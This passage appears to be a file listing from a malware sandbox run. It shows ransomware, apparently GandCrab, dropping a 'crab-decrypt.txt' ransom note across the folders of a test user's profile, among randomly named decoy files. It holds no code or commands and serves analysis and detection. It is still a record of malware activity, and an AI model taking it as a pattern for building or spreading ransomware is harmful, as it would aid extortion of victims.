c:\users\nd9e1fyi\favorites\nicovideo.url
url
File
users\nd9e1fyi\favorites\sohu.url
users\nd9e1fyi\favorites\sohu.url
c:\
c:\users\nd9e1fyi\favorites\sohu.url
url
File
users\nd9e1fyi\favorites\twitch.url
users\nd9e1fyi\favorites\twitch.url
c:\
c:\users\nd9e1fyi\favorites\twitch.url
url
File
users\nd9e1fyi\favorites\yahoo news japan.url
users\nd9e1fyi\favorites\yahoo news japan.url
c:\
c:\users\nd9e1fyi\favorites\yahoo news japan.url
url
File
users\nd9e1fyi\favorites\yandex.url
users\nd9e1fyi\favorites\yandex.url
c:\
c:\users\nd9e1fyi\favorites\yandex.url
url
File
users\nd9e1fyi\favorites\zhihu.url
users\nd9e1fyi\favorites\zhihu.url
c:\
c:\users\nd9e1fyi\favorites\zhihu.url
url
File
users\nd9e1fyi\links\crab-decrypt.txt
users\nd9e1fyi\links\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\links\crab-decrypt.txt
txt
File
users\nd9e1fyi\music\4hyc47vsrdmug7gc\crab-decrypt.txt
users\nd9e1fyi\music\4hyc47vsrdmug7gc\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\music\4hyc47vsrdmug7gc\crab-decrypt.txt
txt
File
users\nd9e1fyi\music\aquncs51gyq66kdm0p.mp3
users\nd9e1fyi\music\aquncs51gyq66kdm0p.mp3
c:\
c:\users\nd9e1fyi\music\aquncs51gyq66kdm0p.mp3
mp3
File
users\nd9e1fyi\music\eyd9uzm2ubvxnm.mp3
users\nd9e1fyi\music\eyd9uzm2ubvxnm.mp3
c:\
c:\users\nd9e1fyi\music\eyd9uzm2ubvxnm.mp3
mp3
File
users\nd9e1fyi\music\igfj0btiddvf5dt3a.wav
users\nd9e1fyi\music\igfj0btiddvf5dt3a.wav
c:\
c:\users\nd9e1fyi\music\igfj0btiddvf5dt3a.wav
wav
File
users\nd9e1fyi\music\p_px\crab-decrypt.txt
users\nd9e1fyi\music\p_px\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\music\p_px\crab-decrypt.txt
txt
File
users\nd9e1fyi\music\p_px\29sqjgtjn6vfv.mp3
users\nd9e1fyi\music\p_px\29sqjgtjn6vfv.mp3
c:\
c:\users\nd9e1fyi\music\p_px\29sqjgtjn6vfv.mp3
mp3
File
users\nd9e1fyi\music\p_px\h6gpodai0hsbanf_r.mp3
users\nd9e1fyi\music\p_px\h6gpodai0hsbanf_r.mp3
c:\
c:\users\nd9e1fyi\music\p_px\h6gpodai0hsbanf_r.mp3
mp3
File
users\nd9e1fyi\music\p_px\hwducpa1jbujj.m4a
users\nd9e1fyi\music\p_px\hwducpa1jbujj.m4a
c:\
c:\users\nd9e1fyi\music\p_px\hwducpa1jbujj.m4a
m4a
File
users\nd9e1fyi\music\p_px\tets6 hwexzv8da26fcf.m4a
users\nd9e1fyi\music\p_px\tets6 hwexzv8da26fcf.m4a
c:\
c:\users\nd9e1fyi\music\p_px\tets6 hwexzv8da26fcf.m4a
m4a
File
users\nd9e1fyi\music\p_px\wgrwvqja8ij_hmepl6.mp3
users\nd9e1fyi\music\p_px\wgrwvqja8ij_hmepl6.mp3
c:\
c:\users\nd9e1fyi\music\p_px\wgrwvqja8ij_hmepl6.mp3
mp3
File
users\nd9e1fyi\music\p_px\ymjomruyemd4dlr0n.mp3
users\nd9e1fyi\music\p_px\ymjomruyemd4dlr0n.mp3
c:\
c:\users\nd9e1fyi\music\p_px\ymjomruyemd4dlr0n.mp3
mp3
File
users\nd9e1fyi\music\qicno.wav
users\nd9e1fyi\music\qicno.wav
c:\
c:\users\nd9e1fyi\music\qicno.wav
wav
File
users\nd9e1fyi\music\qm80rpucm\crab-decrypt.txt
users\nd9e1fyi\music\qm80rpucm\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\music\qm80rpucm\crab-decrypt.txt
txt
File
users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\crab-decrypt.txt
users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\crab-decrypt.txt
txt
File
users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\6dmfdqmh3.wav
users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\6dmfdqmh3.wav
c:\
c:\users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\6dmfdqmh3.wav
wav
File
users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\dth__zhiamvc98.mp3
users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\dth__zhiamvc98.mp3
c:\
c:\users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\dth__zhiamvc98.mp3
mp3
File
users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\up ya1y8oxda.mp3
users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\up ya1y8oxda.mp3
c:\
c:\users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\up ya1y8oxda.mp3
mp3
File
users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\y9frcstgrxko.wav
users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\y9frcstgrxko.wav
c:\
c:\users\nd9e1fyi\music\qm80rpucm\4z-egfioptej7\y9frcstgrxko.wav
wav
File
users\nd9e1fyi\music\qm80rpucm\o-vexdi.mp3
users\nd9e1fyi\music\qm80rpucm\o-vexdi.mp3
c:\
c:\users\nd9e1fyi\music\qm80rpucm\o-vexdi.mp3
mp3
File
users\nd9e1fyi\music\qm80rpucm\vyyojqo usqlqbezp9f.mp3
users\nd9e1fyi\music\qm80rpucm\vyyojqo usqlqbezp9f.mp3
c:\
c:\users\nd9e1fyi\music\qm80rpucm\vyyojqo usqlqbezp9f.mp3
mp3
File
users\nd9e1fyi\music\rv_iupddeifu2bq\crab-decrypt.txt
users\nd9e1fyi\music\rv_iupddeifu2bq\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\crab-decrypt.txt
txt
File
users\nd9e1fyi\music\rv_iupddeifu2bq\8cyqnm-.wav
users\nd9e1fyi\music\rv_iupddeifu2bq\8cyqnm-.wav
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\8cyqnm-.wav
wav
File
users\nd9e1fyi\music\rv_iupddeifu2bq\b8agjwr.mp3
users\nd9e1fyi\music\rv_iupddeifu2bq\b8agjwr.mp3
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\b8agjwr.mp3
mp3
File
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\crab-decrypt.txt
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\crab-decrypt.txt
txt
File
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\6tl6y7xkoe6_wgtiqb.wav
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\6tl6y7xkoe6_wgtiqb.wav
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\6tl6y7xkoe6_wgtiqb.wav
wav
File
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\crvqe_4cujzs\crab-decrypt.txt
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\crvqe_4cujzs\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\crvqe_4cujzs\crab-decrypt.txt
txt
File
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\crab-decrypt.txt
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\crab-decrypt.txt
txt
File
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\9jyy0zhgpba.m4a
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\9jyy0zhgpba.m4a
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\9jyy0zhgpba.m4a
m4a
File
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\occ9jwftxssxcwiq3fwt.mp3
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\occ9jwftxssxcwiq3fwt.mp3
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\occ9jwftxssxcwiq3fwt.mp3
mp3
File
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\w13ap63t9tkt.mp3
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\w13ap63t9tkt.mp3
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\w13ap63t9tkt.mp3
mp3
File
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\xt6biou.mp3
users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\xt6biou.mp3
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\k6jyk5\ntbdctw818aix\xt6biou.mp3
mp3
File
users\nd9e1fyi\music\rv_iupddeifu2bq\pmuvn.mp3
users\nd9e1fyi\music\rv_iupddeifu2bq\pmuvn.mp3
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\pmuvn.mp3
mp3
File
users\nd9e1fyi\music\rv_iupddeifu2bq\veyv.wav
users\nd9e1fyi\music\rv_iupddeifu2bq\veyv.wav
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\veyv.wav
wav
File
users\nd9e1fyi\music\rv_iupddeifu2bq\wddltmutzuprjxldkw.m4a
users\nd9e1fyi\music\rv_iupddeifu2bq\wddltmutzuprjxldkw.m4a
c:\
c:\users\nd9e1fyi\music\rv_iupddeifu2bq\wddltmutzuprjxldkw.m4a
m4a
File
users\nd9e1fyi\music\_skrz7uqznuwq.wav
users\nd9e1fyi\music\_skrz7uqznuwq.wav
c:\
c:\users\nd9e1fyi\music\_skrz7uqznuwq.wav
wav
File
users\nd9e1fyi\nethood\crab-decrypt.txt
users\nd9e1fyi\nethood\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\nethood\crab-decrypt.txt
txt
File
users\nd9e1fyi\ntuser.ini
users\nd9e1fyi\ntuser.ini
c:\
c:\users\nd9e1fyi\ntuser.ini
ini
File
users\nd9e1fyi\onedrive\crab-decrypt.txt
users\nd9e1fyi\onedrive\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\onedrive\crab-decrypt.txt
txt
File
users\nd9e1fyi\pictures\-suvf3qaloxub6g.bmp
users\nd9e1fyi\pictures\-suvf3qaloxub6g.bmp
c:\
c:\users\nd9e1fyi\pictures\-suvf3qaloxub6g.bmp
bmp
File
users\nd9e1fyi\pictures\7lug_s6_dk4.bmp
users\nd9e1fyi\pictures\7lug_s6_dk4.bmp
c:\
c:\users\nd9e1fyi\pictures\7lug_s6_dk4.bmp
bmp
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\crab-decrypt.txt
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\crab-decrypt.txt
txt
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\crab-decrypt.txt
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\crab-decrypt.txt
txt
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\4shyt1pzi2kf6wb yio.bmp
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\4shyt1pzi2kf6wb yio.bmp
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\4shyt1pzi2kf6wb yio.bmp
bmp
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\7blswi6 bziyzalych.bmp
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\7blswi6 bziyzalych.bmp
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\7blswi6 bziyzalych.bmp
bmp
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\90 lakkb8mcrs\crab-decrypt.txt
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\90 lakkb8mcrs\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\90 lakkb8mcrs\crab-decrypt.txt
txt
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\90 lakkb8mcrs\btvmj1yzkz_l.gif
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\90 lakkb8mcrs\btvmj1yzkz_l.gif
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\90 lakkb8mcrs\btvmj1yzkz_l.gif
gif
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\90 lakkb8mcrs\otjtmd5okpogsv.jpg
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\90 lakkb8mcrs\otjtmd5okpogsv.jpg
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\90 lakkb8mcrs\otjtmd5okpogsv.jpg
jpg
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\af elxzt.png
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\af elxzt.png
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\af elxzt.png
png
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\hrpema7sm_jly\crab-decrypt.txt
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\hrpema7sm_jly\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\hrpema7sm_jly\crab-decrypt.txt
txt
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\hrpema7sm_jly\dsm fadw.gif
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\hrpema7sm_jly\dsm fadw.gif
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\hrpema7sm_jly\dsm fadw.gif
gif
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\hrpema7sm_jly\u5laif2gx_ exgvr.gif
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\hrpema7sm_jly\u5laif2gx_ exgvr.gif
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\hrpema7sm_jly\u5laif2gx_ exgvr.gif
gif
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\tpypyqczeqwueglaorq\crab-decrypt.txt
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\tpypyqczeqwueglaorq\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\tpypyqczeqwueglaorq\crab-decrypt.txt
txt
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\tpypyqczeqwueglaorq\fnx1ky3uqnjm.png
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\tpypyqczeqwueglaorq\fnx1ky3uqnjm.png
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\tpypyqczeqwueglaorq\fnx1ky3uqnjm.png
png
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\tpypyqczeqwueglaorq\g5xe-kce400n.gif
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\tpypyqczeqwueglaorq\g5xe-kce400n.gif
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\tpypyqczeqwueglaorq\g5xe-kce400n.gif
gif
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\tpypyqczeqwueglaorq\wgz209v6i5tmyq9iy.jpg
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\tpypyqczeqwueglaorq\wgz209v6i5tmyq9iy.jpg
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\gewoef\tpypyqczeqwueglaorq\wgz209v6i5tmyq9iy.jpg
jpg
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\ntf8-qny2wh4n07.gif
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\ntf8-qny2wh4n07.gif
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\ntf8-qny2wh4n07.gif
gif
File
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\y4su31v.jpg
users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\y4su31v.jpg
c:\
c:\users\nd9e1fyi\pictures\9yfb-ocgczm_jcljl\y4su31v.jpg
jpg
File
users\nd9e1fyi\pictures\bstkhumemmsofd 80x\crab-decrypt.txt
users\nd9e1fyi\pictures\bstkhumemmsofd 80x\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\pictures\bstkhumemmsofd 80x\crab-decrypt.txt
txt
File
users\nd9e1fyi\pictures\bstkhumemmsofd 80x\1qsqjw5gi.gif
users\nd9e1fyi\pictures\bstkhumemmsofd 80x\1qsqjw5gi.gif
c:\
c:\users\nd9e1fyi\pictures\bstkhumemmsofd 80x\1qsqjw5gi.gif
gif
File
users\nd9e1fyi\pictures\bstkhumemmsofd 80x\4jglepj\crab-decrypt.txt
users\nd9e1fyi\pictures\bstkhumemmsofd 80x\4jglepj\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\pictures\bstkhumemmsofd 80x\4jglepj\crab-decrypt.txt
txt
File
users\nd9e1fyi\pictures\bstkhumemmsofd 80x\4jglepj\3amzvob.png
users\nd9e1fyi\pictures\bstkhumemmsofd 80x\4jglepj\3amzvob.png
c:\
c:\users\nd9e1fyi\pictures\bstkhumemmsofd 80x\4jglepj\3amzvob.png
png
File
users\nd9e1fyi\pictures\bstkhumemmsofd 80x\4jglepj\efpm3dzrh.jpg
users\nd9e1fyi\pictures\bstkhumemmsofd 80x\4jglepj\efpm3dzrh.jpg
c:\
c:\users\nd9e1fyi\pictures\bstkhumemmsofd 80x\4jglepj\efpm3dzrh.jpg
jpg
File
users\nd9e1fyi\pictures\bstkhumemmsofd 80x\4jglepj\fyfmgknk pi.gif
users\nd9e1fyi\pictures\bstkhumemmsofd 80x\4jglepj\fyfmgknk pi.gif
c:\
c:\users\nd9e1fyi\pictures\bstkhumemmsofd 80x\4jglepj\fyfmgknk pi.gif
gif
File
users\nd9e1fyi\pictures\camera roll\crab-decrypt.txt
users\nd9e1fyi\pictures\camera roll\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\pictures\camera roll\crab-decrypt.txt
txt
File
users\nd9e1fyi\pictures\dyumlcxn.gif
users\nd9e1fyi\pictures\dyumlcxn.gif
c:\
c:\users\nd9e1fyi\pictures\dyumlcxn.gif
gif
File
users\nd9e1fyi\pictures\lntr0hhuhytnp-.gif
users\nd9e1fyi\pictures\lntr0hhuhytnp-.gif
c:\
c:\users\nd9e1fyi\pictures\lntr0hhuhytnp-.gif
gif
File
users\nd9e1fyi\pictures\qvpuxbjfw.jpg
users\nd9e1fyi\pictures\qvpuxbjfw.jpg
c:\
c:\users\nd9e1fyi\pictures\qvpuxbjfw.jpg
jpg
File
users\nd9e1fyi\pictures\saved pictures\crab-decrypt.txt
users\nd9e1fyi\pictures\saved pictures\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\pictures\saved pictures\crab-decrypt.txt
txt
File
users\nd9e1fyi\pictures\_ps6\crab-decrypt.txt
users\nd9e1fyi\pictures\_ps6\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\pictures\_ps6\crab-decrypt.txt
txt
File
users\nd9e1fyi\pictures\_ps6\aiwfkt0hj1zn0p.bmp
users\nd9e1fyi\pictures\_ps6\aiwfkt0hj1zn0p.bmp
c:\
c:\users\nd9e1fyi\pictures\_ps6\aiwfkt0hj1zn0p.bmp
bmp
File
users\nd9e1fyi\pictures\_ps6\e1g0z.bmp
users\nd9e1fyi\pictures\_ps6\e1g0z.bmp
c:\
c:\users\nd9e1fyi\pictures\_ps6\e1g0z.bmp
bmp
File
users\nd9e1fyi\pictures\_ps6\gjwzzywjt3voiw.png
users\nd9e1fyi\pictures\_ps6\gjwzzywjt3voiw.png
c:\
c:\users\nd9e1fyi\pictures\_ps6\gjwzzywjt3voiw.png
png
File
users\nd9e1fyi\pictures\_ps6\mzqbs.png
users\nd9e1fyi\pictures\_ps6\mzqbs.png
c:\
c:\users\nd9e1fyi\pictures\_ps6\mzqbs.png
png
File
users\nd9e1fyi\pictures\_ps6\nazmaw4er41a\crab-decrypt.txt
users\nd9e1fyi\pictures\_ps6\nazmaw4er41a\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\pictures\_ps6\nazmaw4er41a\crab-decrypt.txt
txt
File
users\nd9e1fyi\pictures\_ps6\sjlvys1tfgq_v0pae.bmp
users\nd9e1fyi\pictures\_ps6\sjlvys1tfgq_v0pae.bmp
c:\
c:\users\nd9e1fyi\pictures\_ps6\sjlvys1tfgq_v0pae.bmp
bmp
File
users\nd9e1fyi\pictures\_ps6\_kqnsvmklm1yptlg.jpg
users\nd9e1fyi\pictures\_ps6\_kqnsvmklm1yptlg.jpg
c:\
c:\users\nd9e1fyi\pictures\_ps6\_kqnsvmklm1yptlg.jpg
jpg
File
users\nd9e1fyi\printhood\crab-decrypt.txt
users\nd9e1fyi\printhood\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\printhood\crab-decrypt.txt
txt
File
users\nd9e1fyi\recent\crab-decrypt.txt
users\nd9e1fyi\recent\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\recent\crab-decrypt.txt
txt
File
users\nd9e1fyi\saved games\crab-decrypt.txt
users\nd9e1fyi\saved games\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\saved games\crab-decrypt.txt
txt
File
users\nd9e1fyi\searches\crab-decrypt.txt
users\nd9e1fyi\searches\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\searches\crab-decrypt.txt
txt
File
users\nd9e1fyi\searches\everywhere.search-ms
users\nd9e1fyi\searches\everywhere.search-ms
c:\
c:\users\nd9e1fyi\searches\everywhere.search-ms
search-ms
File
users\nd9e1fyi\searches\indexed locations.search-ms
users\nd9e1fyi\searches\indexed locations.search-ms
c:\
c:\users\nd9e1fyi\searches\indexed locations.search-ms
search-ms
File
users\nd9e1fyi\sendto\crab-decrypt.txt
users\nd9e1fyi\sendto\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\sendto\crab-decrypt.txt
txt
File
users\nd9e1fyi\start menu\crab-decrypt.txt
users\nd9e1fyi\start menu\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\start menu\crab-decrypt.txt
txt
File
users\nd9e1fyi\templates\crab-decrypt.txt
users\nd9e1fyi\templates\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\templates\crab-decrypt.txt
txt
File
users\nd9e1fyi\videos\-pw1e7k.avi
users\nd9e1fyi\videos\-pw1e7k.avi
c:\
c:\users\nd9e1fyi\videos\-pw1e7k.avi
avi
File
users\nd9e1fyi\videos\cuo6spojwwtgl7oos.flv
users\nd9e1fyi\videos\cuo6spojwwtgl7oos.flv
c:\
c:\users\nd9e1fyi\videos\cuo6spojwwtgl7oos.flv
flv
File
users\nd9e1fyi\videos\kjdebkv\crab-decrypt.txt
users\nd9e1fyi\videos\kjdebkv\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\videos\kjdebkv\crab-decrypt.txt
txt
File
users\nd9e1fyi\videos\kjdebkv\54q7emi00inmuibh4.flv
users\nd9e1fyi\videos\kjdebkv\54q7emi00inmuibh4.flv
c:\
c:\users\nd9e1fyi\videos\kjdebkv\54q7emi00inmuibh4.flv
flv
File
users\nd9e1fyi\videos\kjdebkv\7rcaj-b-fulbwnbijcxe.flv
users\nd9e1fyi\videos\kjdebkv\7rcaj-b-fulbwnbijcxe.flv
c:\
c:\users\nd9e1fyi\videos\kjdebkv\7rcaj-b-fulbwnbijcxe.flv
flv
File
users\nd9e1fyi\videos\kjdebkv\ivwcnous96vml39.mkv
users\nd9e1fyi\videos\kjdebkv\ivwcnous96vml39.mkv
c:\
c:\users\nd9e1fyi\videos\kjdebkv\ivwcnous96vml39.mkv
mkv
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\crab-decrypt.txt
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\crab-decrypt.txt
txt
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\crab-decrypt.txt
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\crab-decrypt.txt
txt
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\0iq_\crab-decrypt.txt
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\0iq_\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\0iq_\crab-decrypt.txt
txt
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\0iq_\1ocez.mp4
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\0iq_\1ocez.mp4
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\0iq_\1ocez.mp4
mp4
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\0iq_\wq0vty0s19vat4.avi
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\0iq_\wq0vty0s19vat4.avi
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\0iq_\wq0vty0s19vat4.avi
avi
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\6n8045c-sowtmc.avi
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\6n8045c-sowtmc.avi
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\6n8045c-sowtmc.avi
avi
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\8apatwah6p3h4-.flv
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\8apatwah6p3h4-.flv
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\8apatwah6p3h4-.flv
flv
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\cdambp8nkqu.avi
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\cdambp8nkqu.avi
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\cdambp8nkqu.avi
avi
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\fv4fc3o\crab-decrypt.txt
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\fv4fc3o\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\fv4fc3o\crab-decrypt.txt
txt
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\fv4fc3o\gmhz.mkv
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\fv4fc3o\gmhz.mkv
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\fv4fc3o\gmhz.mkv
mkv
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\fv4fc3o\ykyfpbbqrlzkj-idsu.mkv
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\fv4fc3o\ykyfpbbqrlzkj-idsu.mkv
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\fv4fc3o\ykyfpbbqrlzkj-idsu.mkv
mkv
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\mmxrmf1cc.mp4
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\mmxrmf1cc.mp4
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\mmxrmf1cc.mp4
mp4
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\noh4zmy.avi
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\noh4zmy.avi
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\noh4zmy.avi
avi
File
